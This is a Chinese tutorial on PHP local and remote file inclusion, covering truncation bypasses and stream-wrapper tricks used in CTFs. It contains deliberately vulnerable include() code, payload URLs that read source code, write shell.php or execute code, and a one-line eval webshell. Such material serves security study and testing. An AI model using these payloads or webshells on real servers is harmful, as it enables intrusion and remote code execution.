文件包含给开发人员带来了极大的便利,当网站需要一样的页面或模板时,直接包含需要的网页,就没必要重复编写代码,且需要更改页面的时候,只需修改包含的页面,带来极大的便利的同时,也带了巨大的威胁
在PHP中文件包含函数分为四个
require() require_once() include() include_once()
其中require和include的区别是,require出现错误的时候,会直接报错并退出程序的执行,而include包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行。
require_once和include_once则只包含一次
不管它们里面包含的是什么,图片也好,文本也好,都会被函数当成PHP代码解析,所以文件包含运用不当会给服务器带来极大的威胁
文件包含分为两类,即本地文件包含LFI(Local File Inclusion)和远程文件包含RFI (Remote File Inclusion)
本地包含就可以包含服务器本地的文件
远程文件包含可以包含远程的文件,且远程文件包含危害性比本地包含危害还大
远程文件包含还需要PHP配置文件中打开以下两个配置,但是从PHP5.2开始allow_url_include默认为Off
allow_url_fopen = On
allow_url_include = On
比如我们有个代码,因为没有任何的过滤机制,导致可以任意的进行本地文件包含
<?php include($_GET['file']); ?>
可以包含一些敏感信息如/etc/passwd,如果上传了图片马,则可以直接包含利用
远程文件包含测试,包含远程服务器的1.txt, 其中1.txt内容为 <?php phpinfo()?>
一些绕过方式和技巧
1、%00绕过
但是受magic_quotes_gpc和addslashes等函数的过滤,同时PHP 5.3之后版本全面修复
现在代码修改这样,只能用html,
<?php include($_GET['file'].html); ?>
但是可以用%00来截断
2、路径长度截断
条件:windows OS,点号需要长于256;linux OS 长于4096
Windows下目录最大长度为256字节,超出的部分会被丢弃
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
但是本地测试失败
3、点号截断
条件:windows OS,点号需要长于256
同样本地测试失败(求懂得大佬留言)
远程文件包含绕过
测试代码
<?php
include($_GET['file'].html);
?>
用?进行绕过
引用《代码审计:企业级Web代码安全架构》访问http://remotehost/1.txt和http//remotehost/1.txt?.php返回结果是一样的,webserver会把?之后的内容当成请求参数,txt不在webserver里面解析,参数对访问1.txt返回内容不影响,实现伪截断
同样的测试%23也可以
下面介绍一些PHP伪协议
文件包含常常便随着php伪协议,也CTF常用套路
1、php://filter 可以对文件进行以base64的形式读取
需要allow_url_include=on
常用语法
?file=php://filter/convert.base64-encode/resource=xxx.php
测试
在用base64解码就即可获得源代码
利用php://filter写入
在这个源码中,如果在后门写入php代码,不管怎么样,一开始就被exit掉了,无法继续执行后面的php代码
<?php $content = '<?php exit; ?>'; $content .= $_GET['txt']; file_put_contents($_GET['file'], $content); ?>
我们可以用php://filter写入base64的解码
构造
http://localhost/test.php?txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==&file=php://filter/write=convert.base64-decode/resource=shell.php
其中PD9waHAgcGhwaW5mbygpOyA/Pg==是base64后的 <?php phpinfo(); ?>,在前面加个a或任意字母用来混淆前面的代码(也就是 <?php exit; ?>)
然后利用php://filter/write写入并用base64解码出来,这样就成功绕过前面的限制写入文件
2、php://input 可以进行代码执行,写入木马,利用POST传参
需要allow_url_fopen 和 allow_url_include=on
CTF套路 碰到file_get_contents函数可以用php://input进行绕过
这里测试 写入一句话,在www目录下生成shell.php文件
3、file:// 可以读取系统文件
4、data://伪协议 数据流封装器
利用了流的概念,和php://input类似,同样可以造成代码执行
?file=data:text/plain,<?php phpinfo()?>
?file=data://text/plain;base64,执行代码base64加密后
5、phar://
不管后缀是什么,都会当做压缩包来解压,PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行
首先先准备一句话木马,然后把它压缩,在修改成.jpg,然后利用phcar解析
它会把.jpg解压成.php
正常解压需要知道解压后的文件名字
6、zip://
可以访问压缩文件中的子文件,且不需要指定后缀名
先准备一个.txt文件,里面的内容为 <?php eval($_REQUEST['cmd']);?>,然后进行压缩,这里压缩成test.zip,上传到www目录下面
然后用zip伪协议进行命令执行
格式: zip://压缩包名#压缩包子文件名
以上内容参考
https://www.freebuf.com/articles/web/182280.html
https://blog.csdn.net/qq_33020901/article/details/82684483